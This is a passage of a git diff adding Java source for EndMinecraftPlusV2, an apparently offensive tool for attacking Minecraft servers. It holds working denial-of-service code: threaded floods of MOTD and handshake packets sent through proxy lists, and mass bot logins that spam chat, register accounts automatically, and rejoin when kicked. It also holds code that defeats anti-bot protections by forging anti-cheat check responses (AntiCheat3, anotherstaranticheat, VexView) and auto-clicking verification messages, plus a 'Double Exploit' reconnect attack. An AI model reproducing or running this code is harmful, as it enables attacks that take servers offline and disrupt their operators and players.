(VersionSupport578.clickVerifiesHandle(chatPacket.getMessage(), session, ConfigUtil.ClickVerifiesDetect)) { + LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + chatPacket.getMessage().getStyle().getClickEvent().getValue(), "BotAttack"); + clickVerifies++; + } else if (!chatPacket.getMessage().toString().equals("")) { + LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + chatPacket.getMessage(), "BotAttack"); + } + + if (!alivePlayers.contains(username)) { + alivePlayers.add(username); + } + } else { + clickVerifiesHandle(chatPacket.getMessage(), session, username); + } + } + } + + public static void clickVerifiesHandle(Message message, Session session, String username) { + boolean needClick = false; + + if (message.getStyle().getClickEvent() != null) { + for (String clickVerifiesDetect:ConfigUtil.ClickVerifiesDetect) { + if (message.getText().contains(clickVerifiesDetect)) { + needClick = true; + break; + } + } + } + + if (needClick) { + LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + message.getStyle().getClickEvent().getValue(), "BotAttack"); + session.send(new ClientChatPacket(message.getStyle().getClickEvent().getValue())); + clickVerifies++; + } else { + if (!message.getText().equals("")) { + LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message, "BotAttack"); + } + + if (!alivePlayers.contains(username)) { + alivePlayers.add(username); + } + } + + if (message.getExtra() != null && !message.getExtra().isEmpty()) { + for (Message extraMessage:message.getExtra()) { + clickVerifiesHandle(extraMessage, session, username); + } + } + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/DoubleAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/DoubleAttack.java new file mode 100644 index 0000000..e42dbff --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/DoubleAttack.java @@ -0,0 +1,37 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils; + +import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle; +import com.github.steveice10.mc.protocol.packet.ingame.server.ServerJoinGamePacket; +import com.github.steveice10.packetlib.Client; +import com.github.steveice10.packetlib.Session; +import com.github.steveice10.packetlib.packet.Packet; + +import java.net.Proxy; + +public class DoubleAttack extends BotAttack { + private String username; + private Integer totalTimes = 0; + private Integer runTimes = 0; + + public DoubleAttack(String ip, int port, int time, int maxconnect, long joinsleep) { + super(ip, port, time, maxconnect, joinsleep); + } + + public void setUsername(String username) { + this.username = username; + } + + public Client createClient(String ip, int port, String username, Proxy proxy) { + totalTimes++; + return super.createClient(ip, port, this.username, proxy); + } + + protected void handlePacket(Session session, Packet recvPacket, String username) { + super.handlePacket(session, recvPacket, username); + if (recvPacket instanceof ServerJoinGamePacket) { + session.disconnect("Double Exploit - Connection Reset!"); + runTimes++; + SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - DoubleAttack | 总连接数: " + totalTimes + "次 | 尝试分身: " + runTimes + "次"); + } + } +} \ No newline at end of file diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/IAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/IAttack.java new file mode 100644 index 0000000..f079b21 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/IAttack.java @@ -0,0 +1,22 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils; + +public abstract class IAttack { + public String ip; + public int port; + + public int attack_time; + public int attack_maxconnect; + public long attack_joinsleep; + + public IAttack(String ip, int port, int time, int maxconnect, long joinsleep) { + this.ip = ip; + this.port = port; + this.attack_time = time; + this.attack_maxconnect = maxconnect; + this.attack_joinsleep = joinsleep; + } + + public abstract void start(); + + public abstract void stop(); +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/MotdAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/MotdAttack.java new file mode 100644 index 0000000..abb46c7 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/MotdAttack.java @@ -0,0 +1,73 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils; + +import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil; +import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils; +import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle; + +import java.io.IOException; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.util.ArrayList; +import java.util.List; + +public class MotdAttack extends IAttack { + public List threads = new ArrayList<>(); + private int runTimes = 0; + private int errorTimes = 0; + public MotdAttack(String ip, int port, int time, int maxconnect, long joinsleep) { + super(ip, port, time, maxconnect, joinsleep); + } + + public void start() { + Runnable task = () -> { + while (true) { + try { + Socket socket = new Socket(); + socket.connect(new InetSocketAddress(ip, port)); + if (socket.isConnected()) { + LogUtil.doLog(0, "正在发送Motd更新数据包...", "MotdAttack#" + Thread.currentThread().getName()); + OutputStream out = socket.getOutputStream(); + out.write(new byte[] { 0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01 }); + out.flush(); + while (socket.isConnected()) { + for (int i = 0; i < 10; i++) { + SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 总连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 错误次数: " + errorTimes); + out.write(new byte[] { 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, + 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00 }); + runTimes++; + } + out.flush(); + } + try { + out.close(); + socket.close(); + } catch (IOException ignored) {} + LogUtil.doLog(0, "连接已断开。", "MotdAttack#" + Thread.currentThread().getName()); + OtherUtils.doSleep(attack_joinsleep); + } + } catch (Throwable e) { + LogUtil.doLog(0, "发生错误: " + e, "MotdAttack#" + Thread.currentThread().getName()); + errorTimes++; + } + } + }; + + if (this.attack_maxconnect < 1) { + this.attack_maxconnect = 10; + } + + for (int i = 0; i < this.attack_maxconnect; i++) { + Thread thread = new Thread(task); + thread.setName(String.valueOf(i + 1)); + thread.start(); + threads.add(thread); + } + } + + @SuppressWarnings("deprecation") + public void stop() { + threads.forEach(Thread::stop); + } + +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/MotdAttackP.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/MotdAttackP.java new file mode 100644 index 0000000..ffe5867 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/MotdAttackP.java @@ -0,0 +1,93 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils; + +import cn.serendipityr.EndMinecraftPlusV2.Tools.*; + +import java.io.IOException; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.net.Proxy; +import java.net.Socket; +import java.util.ArrayList; +import java.util.List; + +public class MotdAttackP extends IAttack { + public List threads = new ArrayList<>(); + private int runTimes = 0; + private int errorTimes = 0; + + public MotdAttackP(String ip, int port, int time, int maxconnect, long joinsleep) { + super(ip, port, time, maxconnect, joinsleep); + } + + public void start() { + Proxy.Type proxyType; + switch (ConfigUtil.ProxyType) { + case 2: + case 3: + proxyType = Proxy.Type.SOCKS; + break; + case 1: + default: + proxyType = Proxy.Type.HTTP; + break; + } + + for (String p: ProxyUtil.proxies) { + try { + String[] _p = p.split(":"); + Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); + Thread thread = createThread(proxy, ip, port); + thread.start(); + threads.add(thread); + if (this.attack_maxconnect > 0 && (threads.size() > this.attack_maxconnect)) + return; + } catch (Exception e) { + LogUtil.doLog(1,"发生错误: " + e, null); + } + } + } + + @SuppressWarnings("deprecation") + public void stop() { + threads.forEach(Thread::stop); + } + + public Thread createThread(Proxy proxy, String ip, int port) { + Runnable task = () -> { + while (true) { + try { + Socket socket = new Socket(proxy); + socket.connect(new InetSocketAddress(ip, port)); + if (socket.isConnected()) { + LogUtil.doLog(0, "正在发送Motd刷新数据包...", "MotdAttackP#" + Thread.currentThread().getName()); + OutputStream out = socket.getOutputStream(); + out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01}); + out.flush(); + while (socket.isConnected()) { + for (int i = 0; i < 10; i++) { + SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 总连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 错误次数: " + errorTimes); + out.write(new byte[]{0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, + 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00}); + runTimes++; + } + out.flush(); + } + try { + out.close(); + socket.close(); + } catch (IOException ignored) { + } + + LogUtil.doLog(0, "连接已断开。", "MotdAttackP#" + Thread.currentThread().getName()); + } + } catch (Throwable e) { + LogUtil.doLog(0, "发生错误: " + e, "MotdAttackP#" + Thread.currentThread().getName()); + errorTimes++; + } + + OtherUtils.doSleep(attack_joinsleep); + } + }; + return new Thread(task); + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/MultiVersionPacket.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/MultiVersionPacket.java new file mode 100644 index 0000000..8dbb2dd --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/MultiVersionPacket.java @@ -0,0 +1,94 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils; + +import com.github.steveice10.mc.protocol.packet.ingame.client.ClientSettingsPacket; +import com.github.steveice10.mc.protocol.packet.ingame.client.ClientTabCompletePacket; +import com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerPositionRotationPacket; +import com.github.steveice10.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket; +import com.github.steveice10.packetlib.Session; +import com.github.steveice10.packetlib.packet.Packet; + +import java.lang.reflect.Array; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; + +public class MultiVersionPacket { + public static void sendTabPacket(Session session, String text) { + try { + Class cls = ClientTabCompletePacket.class; + Constructor constructor = cls.getDeclaredConstructor(); + constructor.setAccessible(true); + ClientTabCompletePacket packet = (ClientTabCompletePacket) constructor.newInstance(); + Field field = cls.getDeclaredField("text"); + field.setAccessible(true); + field.set(packet, text); + session.send(packet); + } catch (Exception ignored) {} + } + + public static void sendPosPacket(Session session, double x, double y, double z, float yaw, float pitch) { + try { + Class cls = ClientPlayerPositionRotationPacket.class; + Constructor constructor; + ClientPlayerPositionRotationPacket packet; + try { + constructor = cls.getConstructor(boolean.class, double.class, double.class, double.class, float.class, float.class); + packet = (ClientPlayerPositionRotationPacket) constructor.newInstance(true, x, y, z, yaw, pitch); + } catch (NoSuchMethodException ex) { + constructor = cls.getConstructor(boolean.class, double.class, double.class, double.class, double.class, float.class, float.class); + packet = (ClientPlayerPositionRotationPacket) constructor.newInstance(true, x, y - 1.62, y , z, yaw, pitch); + } + session.send(packet); + } catch (Exception ignored) {} + } + + public static void sendClientSettingPacket(Session session, String locale) { + try { + Class cls = ClientSettingsPacket.class; + Constructor constructor; + ClientSettingsPacket packet; + try { + Class parm1Class = Class.forName("com.github.steveice10.mc.protocol.data.game.setting.ChatVisibility"); + Class parm2Class = Class.forName("com.github.steveice10.mc.protocol.data.game.setting.SkinPart;"); + Class parm3Class = Class.forName("com.github.steveice10.mc.protocol.data.game.entity.player.Hand"); + + Class skinClass = Class.forName("com.github.steveice10.mc.protocol.data.game.setting.SkinPart"); + Object[] arrSkin = (Object[]) Array.newInstance(skinClass, 1); + Array.set(arrSkin, 0, skinClass.getEnumConstants()[0]); + + constructor = cls.getConstructor(String.class, int.class, parm1Class, boolean.class, parm2Class, parm3Class); + packet = (ClientSettingsPacket) constructor.newInstance(locale, 10, parm1Class.getEnumConstants()[0], true, arrSkin, parm3Class.getEnumConstants()[0]); + } catch (NoSuchMethodException ex) { + Class parm1Class = Class.forName("com.github.steveice10.mc.protocol.packet.ingame.client.ClientSettingsPacket.ChatVisibility"); + Class parm2Class = Class.forName("com.github.steveice10.mc.protocol.packet.ingame.client.ClientSettingsPacket.Difficulty"); + + constructor = cls.getConstructor(String.class, int.class, parm1Class, boolean.class, parm2Class, boolean.class); + packet = (ClientSettingsPacket) constructor.newInstance(locale, 10, parm1Class.getEnumConstants()[0], true, parm2Class.getEnumConstants()[0], true); + } + session.send(packet); + } catch (Exception ignored) {} + } + + public static void sendClientPlayerChangeHeldItemPacket(Session session, int slot) { + try { + Class cls = Class.forName("com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerChangeHeldItemPacket"); + Constructor constructor = cls.getConstructor(int.class); + Packet packet = (Packet) constructor.newInstance(slot); + session.send(packet); + } catch (Exception ignored) {} + } + + public static void sendClientTeleportConfirmPacket(Session session, int id) { + try { + Class cls = Class.forName("com.github.steveice10.mc.protocol.packet.ingame.client.world.ClientTeleportConfirmPacket"); + Constructor constructor = cls.getConstructor(int.class); + Packet packet = (Packet) constructor.newInstance(id); + session.send(packet); + } catch (Exception ignored) {} + } + + public static void sendClientTeleportConfirmPacket(Session session, ServerPlayerPositionRotationPacket packet) { + try { + sendClientTeleportConfirmPacket(session, (int) ServerPlayerPositionRotationPacket.class.getMethod("getTeleportId").invoke(packet)); + } catch (Exception ignored) {} + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/NewBotAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/NewBotAttack.java new file mode 100644 index 0000000..6ce4acb --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/NewBotAttack.java @@ -0,0 +1,519 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils; + +import cn.serendipityr.EndMinecraftPlusV2.Tools.*; +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.*; +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AnotherStarAntiCheat; +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AntiCheat3; +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge; +import com.github.steveice10.mc.protocol.packet.ingame.client.ClientChatPacket; +import com.github.steveice10.mc.protocol.packet.ingame.client.ClientPluginMessagePacket; +import com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerMovementPacket; +import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundCustomPayloadPacket; +import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundLoginPacket; +import com.github.steveice10.mc.protocol.packet.ingame.clientbound.entity.player.ClientboundPlayerPositionPacket; +import com.github.steveice10.mc.protocol.packet.ingame.server.ServerChatPacket; +import com.github.steveice10.mc.protocol.packet.ingame.server.ServerJoinGamePacket; +import com.github.steveice10.mc.protocol.packet.ingame.server.ServerPluginMessagePacket; +import com.github.steveice10.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket; +import com.github.steveice10.mc.protocol.packet.ingame.serverbound.ServerboundCustomPayloadPacket; +import com.github.steveice10.packetlib.ProxyInfo; +import com.github.steveice10.packetlib.Session; +import com.github.steveice10.packetlib.event.session.*; +import com.github.steveice10.packetlib.packet.Packet; +import io.netty.util.internal.ConcurrentSet; +import net.kyori.adventure.text.Component; +import net.kyori.adventure.text.serializer.gson.GsonComponentSerializer; +import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer; + +import java.io.InputStream; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.net.Proxy; +import java.net.Socket; +import java.util.*; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; + +public class NewBotAttack extends IAttack { + public static HashMap clientName = new HashMap<>(); + public static int failed = 0; + public static int joined = 0; + public static int rejoin = 0; + public static int clickVerifies = 0; + public static List alivePlayers = new ArrayList<>(); + protected boolean attack_motdbefore; + protected boolean attack_tab; + protected Map modList; + + private Thread mainThread; + private Thread tabThread; + private Thread taskThread; + + public Set clients = new ConcurrentSet<>(); + public ExecutorService pool = Executors.newCachedThreadPool(); + + private static final AntiCheat3 ac3 = new AntiCheat3(); + private static final AnotherStarAntiCheat asac = new AnotherStarAntiCheat(); + + private long starttime; + + public NewBotAttack(String ip, int port, int time, int maxconnect, long joinsleep) { + super(ip, port, time, maxconnect, joinsleep); + } + + public void setBotConfig(boolean motdbefore, boolean tab, Map modList) { + this.attack_motdbefore = motdbefore; + this.attack_tab = tab; + this.modList = modList; + } + + public String getRandMessage(String userName) { + return ConfigUtil.CustomChat.get(new Random().nextInt(ConfigUtil.CustomChat.size())).replace("$rnd",OtherUtils.getRandomString(4,6).replace("$pwd",DataUtil.botRegPasswordsMap.get(userName))); + } + + public void start() { + setTask(() -> { + while (true) { + for (Session c : clients) { + if (c.isConnected()) { + if (c.hasFlag("login")) { + if (ConfigUtil.ChatSpam) { + if (ProtocolLibs.adaptAfter760) { + VersionSupport760.sendChatPacket(c, getRandMessage(clientName.get(c))); + } else if (ProtocolLibs.adaptAfter759) { + VersionSupport759.sendChatPacket(c, getRandMessage(clientName.get(c))); + } else if (ProtocolLibs.adaptAfter758) { + VersionSupport758.sendChatPacket(c, getRandMessage(clientName.get(c))); + } else { + c.send(new ClientChatPacket(getRandMessage(clientName.get(c)))); + } + } + + OtherUtils.doSleep(ConfigUtil.ChatDelay); + } else if (c.hasFlag("join")) { + if (ConfigUtil.RegisterAndLogin) { + for (String cmd:ConfigUtil.RegisterCommands) { + if (ProtocolLibs.adaptAfter760) { + VersionSupport760.sendChatPacket(c, cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))); + } else if (ProtocolLibs.adaptAfter759) { + VersionSupport759.sendChatPacket(c, cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))); + } else if (ProtocolLibs.adaptAfter758) { + VersionSupport758.sendChatPacket(c, cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))); + } else { + c.send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c))))); + } + + OtherUtils.doSleep(ConfigUtil.ChatDelay); + } + } + + c.setFlag("login", true); + } + } + } + OtherUtils.doSleep(5 * 1000); + } + }); + + this.starttime = System.currentTimeMillis(); + + mainThread = new Thread(() -> { + while (true) { + try { + cleanClients(); + createClients(ip, port); + OtherUtils.doSleep(10 * 1000); + + if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) { + for (Session c : clients) { + c.disconnect(""); + } + stop(); + return; + } + LogUtil.doLog(0, "当前连接数: " + clients.size() + "个", "BotAttack"); + } catch (Exception e) { + LogUtil.doLog(1, "发生错误: " + e, null); + } + } + }); + + if (this.attack_tab) { + tabThread = new Thread(() -> { + while (true) { + SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin); + + for (Session c : clients) { + if (c.isConnected() && c.hasFlag("join")) { + if (ProtocolLibs.adaptAfter758) { + VersionSupport758.sendTabPacket(c, "/"); + } else { + MultiVersionPacket.sendTabPacket(c, "/"); + } + } + } + + OtherUtils.doSleep(10); + } + }); + } + + mainThread.start(); + if (tabThread != null) + tabThread.start(); + if (taskThread != null) + taskThread.start(); + } + + @SuppressWarnings("deprecation") + public void stop() { + mainThread.stop(); + if (tabThread != null) + tabThread.stop(); + if (taskThread != null) + taskThread.stop(); + } + + public void setTask(Runnable task) { + taskThread = new Thread(task); + } + + private void cleanClients() { + clients.removeIf(c -> !c.isConnected()); + } + + private void createClients(final String ip, int port) { + Proxy.Type proxyType; + switch (ConfigUtil.ProxyType) { + case 3: + case 2: + proxyType = Proxy.Type.SOCKS; + break; + case 1: + default: + proxyType = Proxy.Type.HTTP; + break; + } + + for (String p: ProxyUtil.proxies) { + try { + String[] _p = p.split(":"); + Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); + String[] User = AttackManager.getRandomUser().split("@"); + Session client = createClient(ip, port, User[0], proxy); + client.setReadTimeout(Math.toIntExact(ConfigUtil.ConnectDelay)); + client.setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectDelay)); + clientName.put(client, User[0]); + clients.add(client); + ProxyUtil.clientsProxy.put(client, proxy); + + if (this.attack_motdbefore) { + pool.submit(() -> { + getMotd(proxy, ip, port); + client.connect(false); + }); + } else { + client.connect(false); + } + + if (this.attack_maxconnect > 0 && (clients.size() > this.attack_maxconnect)) + return; + if (this.attack_joinsleep > 0) + OtherUtils.doSleep(attack_joinsleep); + } catch (Exception e) { + LogUtil.doLog(1, "发生错误: " + e, null); + } + } + } + + public Session createClient(final String ip, int port, final String username, Proxy proxy) { + Session client; + + String proxyStr = String.valueOf(proxy.address()).replace("/", ""); + String[] proxyAddress = proxyStr.split(":"); + ProxyInfo.Type proxyType; + + switch (ConfigUtil.ProxyType) { + case 2: + proxyType = ProxyInfo.Type.SOCKS4; + break; + case 3: + proxyType = ProxyInfo.Type.SOCKS5; + break; + case 1: + default: + proxyType = ProxyInfo.Type.HTTP; + break; + } + + ProxyInfo proxyInfo = new ProxyInfo(proxyType, new InetSocketAddress(proxyAddress[0], Integer.parseInt(proxyAddress[1]))); + client = VersionSupport754.getSession(ip, port, username, proxyInfo); + + new MCForge(client, this.modList).init(); + + client.addListener(new SessionListener() { + public void packetReceived(PacketReceivedEvent e) { + if (ProtocolLibs.adaptAfter758) { + newHandlePacket(e.getSession(), e.getPacket(), username); + } else { + handlePacket(e.getSession(), e.getPacket(), username); + } + } + + public void packetReceived(Session session, Packet packet) { + if (ProtocolLibs.adaptAfter758) { + newHandlePacket(session, packet, username); + } else { + handlePacket(session, packet, username); + } + } + + public void packetSending(PacketSendingEvent packetSendingEvent) { + + } + + public void packetSent(Session session, Packet packet) { + + } + + public void packetSent(PacketSentEvent packetSentEvent) { + + } + + public void packetError(PacketErrorEvent packetErrorEvent) { + + } + + public void connected(ConnectedEvent e) { + } + + public void disconnecting(DisconnectingEvent e) { + } + + public void disconnected(DisconnectedEvent e) { + String msg; + + if (e.getCause() == null) { + msg = e.getReason(); + + if (ProtocolLibs.adaptAfter754) { + Component component = GsonComponentSerializer.gson().deserialize(msg); + msg = PlainTextComponentSerializer.plainText().serialize(component); + } + + LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack"); + + if (ConfigUtil.SaveWorkingProxy) { + ProxyUtil.saveWorkingProxy(proxy); + } + + for (String rejoinDetect:ConfigUtil.RejoinDetect) { + if (msg.contains(rejoinDetect)) { + for (int i = 0; i < ConfigUtil.RejoinCount; i++) { + Session rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy); + rejoinClient.setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay)); + rejoinClient.setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay)); + + rejoin++; + LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack"); + clientName.put(rejoinClient, username); + clients.add(rejoinClient); + rejoinClient.connect(false); + + OtherUtils.doSleep(ConfigUtil.RejoinDelay); + + if (rejoinClient.hasFlag("join") || rejoinClient.hasFlag("login")) { + break; + } + } + } + } + } else if (ConfigUtil.ShowFails) { + //msg = e.getCause().getMessage(); + LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + e.getCause(), "BotAttack"); + } + + failed++; + alivePlayers.remove(username); + + client.disconnect(""); + clients.remove(client); + } + }); + return client; + } + + public void getMotd(Proxy proxy, String ip, int port) { + try { + Socket socket = new Socket(proxy); + socket.connect(new InetSocketAddress(ip, port)); + if (socket.isConnected()) { + OutputStream out = socket.getOutputStream(); + InputStream in = socket.getInputStream(); + out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01}); + out.write(new byte[]{0x01, 0x00}); + out.flush(); + in.read(); + + try { + in.close(); + out.close(); + socket.close(); + } catch (Exception ignored) {} + + return; + } + socket.close(); + } catch (Exception ignored) {} + } + + protected void handlePacket(Session session, Packet recvPacket, String username) { + if (recvPacket instanceof ServerPluginMessagePacket) { + ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket; + switch (packet.getChannel()) { + case "AntiCheat3.4.3": + String code = ac3.uncompress(packet.getData()); + byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code, + new String[]{"44f6bc86a41fa0555784c255e3174260"}); + session.send(new ClientPluginMessagePacket("AntiCheat3.4.3", checkData)); + break; + case "anotherstaranticheat": + String salt = asac.decodeSPacket(packet.getData()); + byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt); + session.send(new ClientPluginMessagePacket("anotherstaranticheat", data)); + break; + case "VexView": + if (new String(packet.getData()).equals("GET:Verification")) + session.send(new ClientPluginMessagePacket("VexView", "Verification:1.8.10".getBytes())); + break; + default: + } + } else if (recvPacket instanceof ServerJoinGamePacket) { + session.setFlag("join", true); + LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack"); + joined++; + + if (ConfigUtil.SaveWorkingProxy) { + ProxyUtil.saveWorkingProxy(ProxyUtil.clientsProxy.get(session)); + } + + if (!alivePlayers.contains(username)) { + alivePlayers.add(username); + } + + MultiVersionPacket.sendClientSettingPacket(session, "zh_CN"); + MultiVersionPacket.sendClientPlayerChangeHeldItemPacket(session, 1); + } else if (recvPacket instanceof ServerPlayerPositionRotationPacket) { + try { + ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket; + MultiVersionPacket.sendPosPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw()); + session.send(new ClientPlayerMovementPacket(true)); + MultiVersionPacket.sendClientTeleportConfirmPacket(session, packet); + } catch (Exception ignored) {} + + } else if (recvPacket instanceof ServerChatPacket) { + ServerChatPacket chatPacket = (ServerChatPacket) recvPacket; + + if (ProtocolLibs.adaptAfter754) { + List result = VersionSupport754.clickVerifiesHandle(chatPacket, session, ConfigUtil.ClickVerifiesDetect, null); + + if (result.get(0).equals("1")) { + LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + result.get(2), "BotAttack"); + clickVerifies++; + } else if (!result.get(1).equals("")) { + LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get(1), "BotAttack"); + } + + if (!alivePlayers.contains(username)) { + alivePlayers.add(username); + } + } + } + } + + protected void newHandlePacket(Session session, Packet recvPacket, String username) { + if (recvPacket instanceof ClientboundCustomPayloadPacket) { + ClientboundCustomPayloadPacket packet = (ClientboundCustomPayloadPacket) recvPacket; + switch (packet.getChannel()) { + case "AntiCheat3.4.3": + String code = ac3.uncompress(packet.getData()); + byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code, + new String[]{"44f6bc86a41fa0555784c255e3174260"}); + session.send(new ServerboundCustomPayloadPacket("AntiCheat3.4.3", checkData)); + break; + case "anotherstaranticheat": + String salt = asac.decodeSPacket(packet.getData()); + byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt); + session.send(new ServerboundCustomPayloadPacket("anotherstaranticheat", data)); + break; + case "VexView": + if (new String(packet.getData()).equals("GET:Verification")) + session.send(new ServerboundCustomPayloadPacket("VexView", "Verification:1.8.10".getBytes())); + break; + default: + } + } else if (recvPacket instanceof ClientboundLoginPacket) { + session.setFlag("join", true); + LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack"); + joined++; + + if (ConfigUtil.SaveWorkingProxy) { + ProxyUtil.saveWorkingProxy(ProxyUtil.clientsProxy.get(session)); + } + + if (!alivePlayers.contains(username)) { + alivePlayers.add(username); + } + + VersionSupport758.sendClientSettingPacket(session, "zh_CN"); + VersionSupport758.sendClientPlayerChangeHeldItemPacket(session, 1); + } else if (recvPacket instanceof ClientboundPlayerPositionPacket) { + try { + // BUG: 稳定触发Unregistered packet错误 + //ClientboundPlayerPositionPacket packet = (ClientboundPlayerPositionPacket) recvPacket; + //VersionSupport758.sendPosPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw()); + //session.send(new ServerboundMovePlayerStatusOnlyPacket(true)); + //VersionSupport758.sendClientTeleportConfirmPacket(session, packet); + } catch (Exception ignored) {} + } else if (ProtocolLibs.adaptAfter760 && VersionSupport760.checkServerChatPacket(recvPacket)) { + List result = VersionSupport760.clickVerifiesHandle(recvPacket, session, ConfigUtil.ClickVerifiesDetect, null); + + if (result.get(0).equals("1")) { + LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + result.get(2), "BotAttack"); + clickVerifies++; + } else if (!result.get(1).equals("")) { + LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get(1), "BotAttack"); + } + + if (!alivePlayers.contains(username)) { + alivePlayers.add(username); + } + } else if 